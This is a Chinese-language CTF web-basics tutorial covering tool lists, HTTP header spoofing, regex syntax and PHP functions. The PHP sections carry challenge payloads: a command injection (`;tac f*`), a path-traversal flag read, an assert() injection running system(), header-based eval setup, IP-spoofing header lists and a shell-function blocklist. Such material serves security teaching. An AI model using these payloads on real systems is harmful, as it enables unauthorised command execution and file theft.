CTF·Web基础(持续更新,暂定)

README

整合作者:Pure Stream

这里是CTF·Web基础,每个篇章前如果有标了引用或者参考的文章,完全可以去看他们的文章,或者也可以看看我整理过后的正文。侵权立删。

本文适合刚入门的小白想全方位了解CTF·Web,并想参加一些CTF的比赛,也可以用于教学。

PS:我记得刚开始确实是基础的,后面自己也想学就加了一大堆更不基础的进去,但反正就这样叫吧()

一些网站

先知社区 先知社区

各种别人的blog

刷题网站

https://www.polarctf.com/#/page/challenges POLAR靶场

题库 | NSSCTF NSS

BUUCTF在线评测 BUU

攻防世界 攻防世界

登录 春秋云镜(Web渗透)

CTFHub CTFhub

….

常用工具

maurosoria/dirsearch: Web path scanner Dirsearch目录扫描工具

[https://github.com/AntSwordProject/] 蚁剑

Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF Fenjing

Windows版phpstudy下载 - 小皮面板(phpstudy) Phpstudy (用来展示运行php代码的结果)

发布 ·记事本加加/记事本加加 NotePad++

netcat 1.11 for Win32/Win64 netcat

Windows 下载安装 netcat(nc)命令_netcat下载-CSDN博客 教程

brendan-rius/c-jwt-cracker: JWT brute force cracker written in C C-jwt-cracker

2025年最新kali安装教程(超详细,图文并茂)-CSDN博客 kali虚拟机安装

cnseay/Seay源代码审计系统2.1.zip at master · f1tz/cnseay Seay源代码审计,可以审计一点简单的

tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers Gopherus

Releases · yaklang/yakit yakit

TideSec/TscanPlus: 一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。 无影

shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 Fscan

uTools - 一种高效工作方式 里面插件引用有个Shell生成器,个人觉得很不错

(Window)GitHack下载安装和使用【CTF工具/渗透测试/网络安全/信息安全】-CSDN博客 GitHack

….

Docker Desktop

1
2
3
4
5
6
7
8
9
10
11
12
{
"debug": true,
"experimental": false,
"insecure-registries": [],
"registry-mirrors": [
"https://docker.m.daocloud.io",
"https://docker.imgdb.de",
"https://docker-0.unsee.tech",
"https://docker.hlmirror.com",
"https://cjie.eu.org"
]
}

源码查看

基本查看

右键查看 / F12

各个浏览器

Chrome / Edge / Opera/Firefox
• 快捷键:Ctrl+U

HTTP

改浏览器信息+改本地地址+改地址+VPN+POST/GET…..

然后如果要求VPN的话就是用Via

对于XFF的绕过形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Client-IP:127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded:127.0.0.1
Forwarded: localhost
True-Client-IP:127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization : 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By:127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override : 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr : localhost
X-Remote-IP: 127.0.0.1

[GDOUCTF 2023]EZ WEB | NSSCTF PUT

[MoeCTF 2021]Do you know HTTP | NSSCTF

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Begin of HTTP) Begin Of HTTP

Robots协议

Robots 协议(Robots Exclusion Protocol,简称 REP 或 robots.txt 协议)是一套由网站自行制定、搜索引擎自愿遵守的“君子协定”,用来告诉网络爬虫「哪些网页可以抓、哪些不可以抓」

如果出现在比赛题中:

直接dirsearch扫出来访问,可以看到一些提示或者是Flag

基本都是签到题

正则

regex101: build, test, and debug regex 测试正则的

正则表达式 – 语法 | 菜鸟教程 参考

介绍常见的正则表达式与语法

(以下一切的语法都可以在上面那个链接做演示)

(Python中想要使用正则需要使用re库)

[ABC]

匹配[…]中的所有字符

例如 [aeiou] 匹配字符串 “google runoob taobao” 中所有的 e o u a 字母

然后**[A-Z]**就是匹配A-Z中的所有字母(26个大写字母)


[^ABC]

匹配除了 […] 中字符的所有字符,例如 [^aeiou] 匹配字符串 “google runoob taobao” 中除了 e o u a 字母的所有字符


.

匹配除换行符(\n、\r)之外的任何单个字符,相等于 [^/n/r]


[\s\S]

匹配所有。\s 是匹配所有空白符,包括换行,\S 非空白符,不包括换行

空白符的定义

  • 在正则表达式中,空白符是用来匹配空格、制表符、换行符等不可见字符的特殊字符类。它包括以下几种常见的空白字符:
    • 空格( ):就是键盘上的空格键所产生的字符,用于分隔单词等
    • 制表符(\t):用于在文本中进行水平制表对齐,使文本内容在显示或打印时能够整齐排列
    • 换行符(\n):用于表示一行文本的结束,新的一行的开始。在不同的操作系统中,换行符可能有所不同,例如在 Windows 系统中是 \r\n,在 Unix/Linux 系统中是 \n
    • 换页符(\f):较少使用,用于将打印机的打印位置移动到下一页的开头
    • 垂直制表符(\v):也比较少用,用于垂直方向的制表对齐

非空白符的定义

  • 非空白符是指除空白符之外的所有可见字符,也可以包括一些不可见的控制字符,但不包括空白符所包含的字符。在正则表达式中,可以用 \S 来表示非空白符。例如,正则表达式 \S+ 可以匹配一个或多个非空白符

\w

匹配字母、下划线、数字

相当于 [A-Za-z0-9_]


\d

匹配任意一个阿拉伯数字

相当于 [0-9]


/i

忽略大小写,就比如:

1
preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i')

这里加了个 /i,那你的Php,PhP这种的都会被当作php处理,就防止你进行大小写绕过


匹配特殊字符 /

你就在 / 后面加你想要过滤的

比如:

1
/php|flag|zlib|ftp|system

| 作为分隔符

如果想要过滤特别字符,比如 $, * , ^

就要在前面加转义符号 \

1
|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|

限定符号

* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”* 等价于 {0,} ,其实就是匹配所以以这个开头的字符串,比如cat /f* 尝试一下 »
+ 匹配前面的子表达式一次或多次。例如,zo+ 能匹配 “zo” 以及 “**zoo”**,但不能匹配 “z”+ 等价于 {1,} 尝试一下 »
? 匹配前面的子表达式零次或一次。例如,do(es)? 可以匹配 “do” 、 **”does”**、 “doxy” 中的 “do”“does”? 等价于 {0,1},要是知道flag文件长度,你可以直接cat /f???,这就相当于cat /flag,但绕过了对flag的过滤 尝试一下 »
{n} n 是一个非负整数。匹配确定的 n 次。例如,o{2} 不能匹配 “Bob” 中的 o,但是能匹配 “food” 中的两个 o 尝试一下 »
{n,} n 是一个非负整数。至少匹配n 次。例如,o{2,} 不能匹配 “Bob” 中的 o,但能匹配 “foooood” 中的所有 oo{1,} 等价于 o+o{0,} 则等价于 o* 尝试一下 »
{n,m} m 和 n 均为非负整数,其中 n <= m。最少匹配 n 次且最多匹配 m 次。例如,o{1,3} 将匹配 “fooooood” 中的前三个 oo{0,1} 等价于 **o?**。请注意在逗号和两个数之间不能有空格

E.g

1
/[1-9][0-9]*/
  1. [1-9]:匹配一个1到9之间的数字,即数字不能以0开头
  2. [0-9]*:匹配0个或多个0到9之间的数字

例如:

  • 匹配:1, 12, 999, 1024
  • 不匹配:0(以零开头), 012(以零开头), abc(非数字)

如果删去了 *

1
/[1-9][0-9]/

就只能匹配两位数字了

当然 /[0-9]{1,2}/ 也可以匹配两位数字,但是允许01,00,02这种的出现

避免这种情况

改进下,匹配 1~99 的正整数表达式如下:

1
/[1-9][0-9]?/

1
/[1-9][0-9]{0,1}/

贪婪匹配和非贪婪匹配

*+ 限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个 ? 就可以实现非贪婪或最小匹配

以匹配 HTML 文档为例

1
<h1>miHoYo</h1>

贪婪:下面的表达式匹配从开始小于符号 (<) 到关闭 h1 标记的大于符号 (>) 之间的所有内容

1
/<.*>/

会匹配整个 <h1>miHoYo</h1>

非贪婪:如果您只需要匹配开始和结束 h1 标签,下面的非贪婪表达式只匹配 <h1>

1
/<.*?>/

只会匹配到 <h1>

通过在 *+? 限定符之后放置 **?**,该表达式从”贪婪”表达式转换为”非贪婪”表达式或者最小匹配


定位符

定位符使您能够将正则表达式固定到行首或行尾

定位符用来描述字符串或单词的边界,^$ 分别指字符串的开始与结束,\b 描述单词的前或后边界,\B 表示非单词边界

正则表达式的定位符有:

字符 描述 实例
^ 匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与 \n 或 \r 之后的位置匹配 尝试一下 »
$ 匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与 \n 或 \r 之前的位置匹配 尝试一下 »
\b 匹配一个单词边界,即字与空格间的位置 尝试一下 »
\B 非单词边界匹配 尝试一下 »

注意:不能将限定符与定位符一起使用。由于在紧靠换行或者单词边界的前面或后面不能有一个以上位置,因此不允许诸如 ^* 之类的表达式

若要匹配一行文本开始处的文本,请在正则表达式的开始使用 ^ 字符。不要将 ^ 的这种用法与中括号表达式内的用法混淆

若要匹配一行文本的结束处的文本,请在正则表达式的结束处使用 $ 字符

若要在搜索章节标题时使用定位点,下面的正则表达式匹配一个章节标题,该标题只包含两个尾随数字,并且出现在行首

1
/^Chapter [1-9][0-9]{0,1}/

如果要匹配的是:

1
2
3
4
5
Chapter 1
Chapter 5
Chapter 10
Chapter 99
Chapter 123

那么这段会匹配到:

1
2
3
4
Chapter 1
Chapter 5
Chapter 10
Chapter 99

真正的章节标题不仅出现行的开始处,而且它还是该行中仅有的文本。它既出现在行首又出现在同一行的结尾。下面的表达式能。通过创建只匹配一行文本的开始和结尾的正则表达式,就可做到这一点

1
/^Chapter [1-9][0-9]{0,1}$/

如果匹配:

1
2
3
4
5
6
7
8
9
Chapter 1
Chapter 5
Chapter 10
Chapter 99
Chapter 123
Chapter 0
Chapter
Chapter 05
Chapter 1 is referenced in Chapter 3

只会匹配到:

1
2
3
4
Chapter 1
Chapter 5
Chapter 10
Chapter 99

匹配单词边界稍有不同,但向正则表达式添加了很重要的能力。单词边界是单词和空格之间的位置。非单词边界是任何其他位置。下面的表达式匹配单词 Chapter 的开头三个字符,因为这三个字符出现在单词边界后面:

1
/\bCha/

如果你输入:

1
2
3
4
Chapter 1
Chaotic
AChapter
Cha
  • 匹配的内容
    • Chapter 1(匹配 Cha,出现在单词边界)
    • Chaotic(匹配 Cha,出现在单词边界)
    • Cha(匹配整个单词)
  • 不匹配的内容
    • AChapterCha 不在单词边界)

\b 字符的位置是非常重要的。如果它位于要匹配的字符串的开始,它在单词的开始处查找匹配项。如果它位于字符串的结尾,它在单词的结尾处查找匹配项。例如,下面的表达式匹配单词 Chapter 中的字符串 ter,因为它出现在单词边界的前面:

1
/ter\b/

如果你输入:

1
2
3
4
preter
alter
terraform
terrestrial
  • 匹配的内容
    • preter(匹配 ter,出现在单词结尾)
    • alter(匹配 ter,出现在单词结尾)
  • 不匹配的内容
    • terraformter 不在单词结尾)
    • terrestrialter 不在单词结尾)

下面的表达式匹配 Chapter 中的字符串 apt,但不匹配 aptitude 中的字符串 apt:

1
/\Bapt/

如果你输入:

1
2
3
4
Chapter
apartment
Apt
aptitude
  • 匹配的内容
    • Chapter(匹配apt,因为出现在非单词边界)
  • 不匹配的内容
    • aptitude(不匹配 apt,出现在单词边界)
    • Apt(匹配 Apt 中的 Apt,但 \B 确保 apt 出现在非单词边界,但在这个例子中 Apt 是一个独立的单词,所以不匹配)

字符串 apt 出现在单词 Chapter 中的非单词边界处,但出现在单词 aptitude 中的单词边界处。对于 \B 非单词边界运算符,不可以匹配单词的开头或结尾,如果是下面的表达式,就不匹配 Chapter 中的 Cha:

1
\BCha

同上原理,不作演示


选择

用圆括号 () 将所有选择项括起来,相邻的选择项之间用 | 分隔

() 表示捕获分组,**()** 会把每个分组里的匹配的值保存起来, 多个匹配值可以通过数字 n 来查看(n 是一个数字,表示第 n 个捕获组的内容)

比如你输入: /([1-9])([a-z]+)/g

1
123mihoyo114514zzz22

可以看到匹配到了两个,这个正则意思是第一位是数字然后后面匹配1或多个小写字母

但用圆括号会有一个副作用,使相关的匹配会被缓存,此时可用 ?: 放在第一个选项前来消除这种副作用

其中 ?: 是非捕获元之一,还有两个非捕获元是 ?=?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串

exp1(?=exp2)

查找exp2前面的exp1

还是沿用刚刚的例子,我们把正则语句改成 /mihoyo(?=\d)/ 也就是匹配一个数字前面的mihoyo

可以看到:

(?<=exp2)exp1

查找 exp2 后面的 exp1

跟上面差不多,就是换了位置

exp1(?!exp2)

查找后面不是 exp2 的 exp1

我们把正则改成 /mihoyo(?![0-9]+)/

沿用刚刚的例子,发现:

匹配失败,而当我们在mihoyo后面加个非数字比如 -,那么就匹配得到了:

(?<!exp2)exp1

查找前面不是 exp2 的 exp1

也是和上面一样,但是换了个位置


反向引用

  • 定义与语法 :反向引用使用特殊字符来表示对前面某个分组的引用,通常用\后跟数字来表示。例如,\1 表示对第一个捕获组的反向引用,\2表示对第二个捕获组的反向引用,依此类推
  • 作用与应用场景
    • 匹配相同内容 :当需要匹配与前面某个特定模式相同的内容时,反向引用非常有用。例如,在验证某些格式的字符串时,如检查一个字符串是否为形如 abc-abc 这种前后部分相同的格式,可以使用反向引用。正则表达式可以写成 ^(\w+)-\1$,其中(\w+)是一个捕获组,匹配前面的单词字符部分,后面的\1则表示匹配与第一个捕获组相同的内容
    • 替换操作 :在使用正则表达式进行字符串替换时,反向引用可以将捕获到的子表达式重新插入到替换后的字符串中。例如,将字符串中的日期格式从 yyyy-mm-dd 转换为 dd-mm-yyyy ,可以使用正则表达式 (\d{4})-(\d{2})-(\d{2}) 进行匹配和捕获,然后在替换字符串中使用反向引用,如 $3-$2-$1
    • (在某些语言中,反向引用的表示方式可能不同,例如在 JavaScript 中使用 $1、$2 等,在 Python 中使用 \g<1>、\g<2> 等)

E.g1

我现在有一段句子,里面包含多个重复的单词

1
hello hello world world this is is a test test

我们可以用:

1
(\b\w+\b)\s+\1

来匹配,这里的\b\b就是取边界(边界也是一样的字符,遇到不一样的就不配),然后中间都是相同的字段

\s+ 负责匹配一个或多个空白符,\1就代表示匹配与第一个捕获组相同的内容,比如在这个例子中,第一个捕获组捕捉到的是 hello\1 就匹配后面也是hello的字符串,以此类推它可以捕获全部相同的字段

E.g2

我们来匹配个URL,比如

1
https://www.example.com:8080/path/to/resource

我们用:

1
/(\w+):\/\/([^\:]+)(:\d*)?([^# ]*)/

1. (\w+)

  • 含义: 匹配一个或多个字母、数字或下划线
  • 作用: 用于匹配 URL 的协议部分,例如 httphttps

2. :\/\/

  • 含义: 匹配字面的 ://
  • 作用: 分隔协议部分和域名部分

3. ([^/:]+)

  • 含义: 匹配一个或多个不是 /: 的字符
  • 作用: 用于匹配域名部分,例如 www.example.com

4. (:\d*)?

  • 含义:
    • :: 匹配字面的 :
    • \d*: 匹配零个或多个数字
    • ?: 表示整个部分是可选的。
  • 作用: 用于匹配端口号部分,例如 :8080,但这个部分是可选的

5. ([^# ]*)

  • 含义: 匹配零个或多个不是 # 或空格的字符
  • 作用: 用于匹配 URL 的路径部分,例如 /path/to/resource

用Python你可以这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
import re

url = "https://www.example.com:8080/path/to/resource"
pattern = r'/(\w+):\/\/([^\:]+)(:\d*)?([^# ]*)/'

match = re.match(pattern, url)
if match:
print("Protocol:", match.group(1))
print("Domain:", match.group(2))
print("Port:", match.group(3))
print("Path:", match.group(4))
else:
print("No match")

EasyPHP

PHP函数

(列一些遇到的和基本的)

preg_match()

用于执行正则表达式匹配

1
preg_match($pattern, $subject)

$pattern是正则表达式,$subject是要匹配的字符串

include()

包含文件,将指定文件的内容嵌入到当前脚本中

shell_exec

执行里面的语句

parse_str()

  • parse_str()函数直接将查询参数解析到当前作用域变量中
1
@parse_str($id); // 未使用第二个参数导致变量覆盖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

id=a[]=www.polarctf.com&cmd=;tac f*

is_numeric

1
bool is_numeric ( mixed $var )

如果变量是数值或数值字符串,则返回 true,否则返回 false

strrev

strrev 是 PHP 中用于反转字符串的函数。

1
2
3
<?php
echo strrev("Hello World!"); // 输出 "!dlroW olleH"
?>

mb_strpos

1
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )
  1. $haystack:
    • 必需。要在其中搜索的字符串(主字符串)。
  2. $needle:
    • 必需。要查找的字符或子字符串。
  3. $offset:
    • 可选。指定从哪个位置开始搜索。默认值为 0(从字符串开头开始搜索)。
  4. $encoding:
    • 可选。指定字符编码。如果未指定,默认使用 mb_internal_encoding() 函数返回的内部编码。
  • 返回 $needle$haystack 中首次出现的位置(从 0 开始计数)。
  • 如果未找到 $needle,返回 false

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 查找单个字符的位置
$pos = mb_strpos($string, "世", 0, $encoding);
echo "字符 '世' 的位置: " . $pos; // 输出:字符 '世' 的位置: 7

// 查找子字符串的位置
$pos = mb_strpos($string, "世界", 0, $encoding);
echo "子字符串 '世界' 的位置: " . $pos; // 输出:子字符串 '世界' 的位置: 7



mb_strpos($page . '?', '?'):
mb_strpos 是一个多字节字符串处理函数,用于查找指定字符的位置。
$page . '?' 是为了确保即使 $page 中没有问号 ?,也不会导致 mb_strpos 返回 false
mb_strpos($page . '?', '?') 的作用是找到 $page 中第一个问号 ? 的位置。
如果 $page 中已经包含问号 ?,则返回问号的位置;如果 $page 中没有问号,则 $page . '?' 会在末尾添加一个问号,返回问号的位置即字符串长度。

?file=source.php%3f../../../../../ffffllllaaaagggg

mb_substr

1
mb_substr ( string $string , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] )
  1. $string:
    • 必需。原始字符串。
  2. $start:
    • 必需。指定从哪个位置开始截取。如果为正数,从字符串开头向后数 $start 个字符的位置开始;如果为负数,从字符串末尾向前数 $start 个字符的位置开始。
  3. $length:
    • 可选。指定截取的长度。如果为正数,从 $start 位置开始向前数 $length 个字符;如果为负数,从 $start 位置开始到字符串末尾向前数 $length 个字符的位置;如果省略,则截取从 $start 到字符串末尾的所有字符。
  4. $encoding:
    • 可选。指定字符编码。如果未指定,默认使用 mb_internal_encoding() 函数返回的内部编码。
  • 返回从 $start 开始,长度为 $length 的子字符串。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 从第7个字符开始截取,长度为2
$sub = mb_substr($string, 7, 2, $encoding);
echo $sub; // 输出:世界

// 从第7个字符开始截取到末尾
$sub = mb_substr($string, 7, NULL, $encoding);
echo $sub; // 输出:世界!

// 从倒数第5个字符开始截取,长度为5
$sub = mb_substr($string, -5, 5, $encoding);
echo $sub; // 输出:, 世界!

// 从倒数第5个字符开始截取到倒数第2个字符
$sub = mb_substr($string, -5, -2, $encoding);
echo $sub; // 输出:, 世

putenv

  1. putenv 函数:
    • putenv 是 PHP 中的一个函数,用于设置环境变量。
    • 语法:bool putenv ( string $setting )
    • 参数 $setting 是一个字符串,格式为 "变量名=值"
  2. PATH=/home/rceservice/jail:
    • 这是设置 PATH 环境变量的值为 /home/rceservice/jail
    • PATH 环境变量用于指定系统在查找可执行文件时搜索的目录路径。

假设有一个 PHP 脚本需要执行外部命令 ls,并且 PATH 被设置为 /home/rceservice/jail

1
2
putenv('PATH=/home/rceservice/jail');
system('ls');
  • 系统会在 /home/rceservice/jail 目录下查找 ls 命令。
  • 如果 /home/rceservice/jail/ls 存在,就会执行该文件;否则,会报错。

pahinfo()

将传入的路径“字典化”

var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123’));

1
2
3
4
5
6
7
8
array(3) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(3) "123"
["filename"]=>
string(3) "123"
}

var_dump(pathinfo(‘sandox/cfbb870b58817bf7705c0bd826e8dba7/123.txt’));

1
2
3
4
5
6
7
8
9
10
array(4) {
["dirname"]=>
string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
["basename"]=>
string(7) "123.txt"
["extension"]=>
string(3) "txt"
["filename"]=>
string(3) "123"
}

file_put_contents()

将结果放进文件中

addslashes()

addslashes是PHP中的一个字符串处理函数,用于在字符串中的某些特定字符前添加反斜杠(\),以确保这些字符在后续的处理过程中不会引起语法错误或安全问题。这些特定字符包括单引号(')、双引号(")、反斜杠(\)和NULL字节。

功能说明

  • 作用:在字符串中的单引号(')、双引号(")、反斜杠(\)和NULL字节前添加反斜杠。
  • 目的:防止这些字符在SQL查询、字符串拼接等操作中引起语法错误或安全问题(如SQL注入)。
  • 返回值:返回处理后的字符串。

使用示例

1
2
3
4
5
<?php
$str = "Hello 'World'";
$escaped_str = addslashes($str);
echo $escaped_str; // 输出:Hello \'World\'
?>

extract()

用于从数组中提取元素并将它们导入到当前的符号表中,即将数组的键名作为变量名,键值作为变量值。

很可能会覆盖变量!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失

assert()

  1. 基本概念
    • assert() 函数是 PHP 中用于断言的内置函数。断言是一种编程概念,它允许程序员在程序代码中放置检查点,以验证程序的状态是否符合预期。在 PHP 中,这个函数默认是启用的,它可以帮助开发者在开发和调试过程中快速发现程序中的逻辑错误。
    • assert()函数会将读入的代码当作php执行

E.g

1
2
3
4
5
6
7
8
9
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

先将strpos闭合,然后将后面的语句'..')===false") or die ("Detected hacking attempt!")注释掉

然后构造payload:?page='.phpinfo();//

').system("cat templates/flag.php");//

变为:

1
assert("strpos('templates/').system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");)

只留下:

1
assert("strpos('templates/').system("cat templates/flag.php");

uniqid()

uniqid() 是 PHP 中的一个函数,用于生成一个唯一的 ID,通常用于创建唯一的标识符,例如文件名、临时标识符等。它基于当前时间戳生成,具有较高的唯一性,但并不是绝对的全球唯一。

1
2
3
4
5
6
7
8
9
10
<?php
// 基本用法
echo uniqid(); // 输出类似: 55c31b2d67f66

// 带前缀
echo uniqid('prefix_'); // 输出类似: prefix_55c31b2d67f66

// 添加额外熵
echo uniqid('', true); // 输出类似: 55c31b2d7e5e25.43184718
?>

date()

[CISCN 2023 华北]ez_date | NSSCTF

PHP 中的 date() 函数是一个非常重要的日期和时间处理函数,它能够格式化一个时间戳为更易读的日期和时间形式

常用格式化参数

  • d:表示一个月中的第几天,两位数字,如果是一天则前面补零,如 0131
  • m:表示一年中的第几个月,两位数字,如 0112
  • Y:四位数字完整表示年份,如 2023
  • H:表示小时,24 小时制,两位数字,如 0023
  • i:表示分,两位数字,如 0059
  • s:表示秒,两位数字,如 0059
  • a:表示 AM 或 PM(上午或下午)。
  • l:(小写的 L):完整的星期几的文本名称,如 Monday
  • M:三个字母缩写的月份名称,如 Jan
  • g :用于获取小时部分,范围是从 1 到 12。
1
2
3
4
5
6
7
8
9
10
11
<?php
// 基本用法,获取当前日期和时间
echo date("Y-m-d H:i:s"); // 输出类似: 2023-10-05 15:30:45

// 格式化特定时间戳
$timestamp = strtotime("2023-10-01 12:00:00");
echo date("l, F j, Y, g:i A", $timestamp); // 输出: Sunday, October 1, 2023, 12:00 PM

// 获取当前的日期和时间中星期几的名称
echo date("l"); // 输出类似: Friday
?>

@stream_context_create()

stream_context_create 是 PHP 中用于创建一个流(stream)上下文的函数。流上下文是为文件流(比如网络请求)配置选项的一个集合,它可以让开发者对流的行为进行自定义,比如设置请求头、超时时间、用户认证等。

语法

  • resource stream_context_create ( array $options [, array $params ] )
  • 参数 options 是一个关联数组,用于指定不同协议(如 HTTP、FTP 等)的上下文选项,默认值为 NULL。例如,对于 HTTP 请求,可以设置 header 选项来添加请求头信息。
  • 参数 params 是一个关联数组,用于指定上下文的参数,如通知回调函数等,默认值为 NULL。

使用示例

  • 创建一个 HTTP 请求上下文,设置用户代理和请求头:
1
2
3
4
5
6
7
8
9
10
11
12
$options = [
'http' => [
'method' => 'GET',
'header' => "User-Agent: PHP\r\n",
'timeout' => 30
]
];

$context = stream_context_create($options);

// 使用上下文打开网页并获取内容
$content = file_get_contents('https://www.example.com', false, $context);
  • 在这个例子中,stream_context_create 创建了一个用于 HTTP 协议的上下文,设置了请求方法为 GET、添加了用户代理头,并设置了超时时间为 30 秒。然后使用 file_get_contents 函数和这个上下文来获取网页的内容。

strcmp()

strcmp 是一个用于比较两个字符串的函数。

  1. 函数原型
    • int strcmp ( string $str1 , string $str2 )
  2. 参数
    • $str1:第一个要比较的字符串。
    • $str2:第二个要比较的字符串。
  3. 返回值
    • 如果返回值小于 0,表示 $str1 小于 $str2
    • 如果返回值等于 0,表示 $str1$str2 相等。
    • 如果返回值大于 0,表示 $str1 大于 $str2

extract()

extract() 是 PHP 中一个用于从数组中将变量导入到当前符号表的函数。它主要用来方便地将数组中的键值对转换为单独的变量。下面详细介绍其使用方法、参数以及注意事项:

函数定义

1
int extract ( array $array [, int $extract_type = EXTR_OVERWRITE [, string $prefix ]] )

参数详解

  • $array :必需。要从其中提取变量的数组。
  • $extract_type :可选。用于指定冲突时的处理方式,默认值为 EXTR_OVERWRITE。常见的可选值有:
    • EXTR_OVERWRITE :如果有冲突,覆盖已存在的变量。
    • EXTR_SKIP :如果有冲突,不覆盖已存在的变量。
    • EXTR_PREFIX_SAME :如果有冲突,则给变量添加前缀。
    • EXTR_PREFIX_ALL :给所有变量添加前缀。
    • EXTR_PREFIX_INVALID :仅给无效的或数字的变量名添加前缀。
  • $prefix :可选。如果指定了前缀类型,需要提供一个前缀。前缀用于区分变量名,避免冲突。

返回值

该函数返回成功提取的变量数目。

使用示例

1
2
3
4
$data = ['name' => 'Alice', 'age' => 30];
extract($data);
echo $name; // 输出:Alice
echo $age; // 输出:30

注意事项

  • 变量覆盖风险 :使用 extract() 时需要特别小心,因为它可能导致变量覆盖问题。如果从外部输入(如用户输入)构造的数组中提取变量,可能会无意中覆盖重要的变量,从而引发意外行为或安全漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// 假设有一个数组,其内容可能来自外部输入(如用户提交的表单数据)
$user_input = array("user_id" => "123", "role" => "admin");

// 现变量有的
$user_id = "456";
$role = "user";

// 使用 extract() 函数提取数组中的变量
extract($user_input);

// 输出结果,查看变量是否被覆盖
echo "User ID: " . $user_id . "\n";
echo "Role: " . $role . "\n";

// 如果 $user_input 数组来自不可信的外部输入,这就可能导致严重的安全问题
?>




//User ID: 123 Role: admin

getallheaders()

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]R!!C!!E!!)

使用 getallheaders() 获取当前请求的所有 HTTP 标头,并返回一个数组

pos()

pos() 函数是 PHP 中的一个内置函数,用于返回数组中当前元素的值。它是 current() 函数的别名,二者功能完全相同

参数

  • $array:必需,指定要操作的数组。

返回值

返回数组中当前指针所指向的元素的值。如果指针超出了数组的范围,则返回 false

使用示例

1
2
3
4
5
6
7
8
9
10
<?php
$array = array(1, 2, 3, 4, 5);
echo pos($array); // 输出 1,因为指针最初指向第一个元素

next($array); // 移动指针到下一个元素
echo pos($array); // 输出 2

next($array);
echo pos($array); // 输出 3
?>

array_reverse()

这个函数用于反转数组的顺序。它接收一个数组作为参数,并返回一个新的数组,其元素顺序与原数组相反

可以结合pos()和eval()使用,比如

1
2
3
4
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
X-Custom-Header: <?php phpinfo(); ?>
  1. getallheaders() 返回的数组是:

    1
    2
    3
    4
    5
    6
    [
    'Host' => 'example.com',
    'User-Agent' => 'Mozilla/5.0',
    'Accept' => 'text/html',
    'X-Custom-Header' => '<?php phpinfo(); ?>'
    ]
  2. array_reverse() 反转后的数组是:

    1
    2
    3
    4
    5
    6
    [
    'X-Custom-Header' => '<?php phpinfo(); ?>',
    'Accept' => 'text/html',
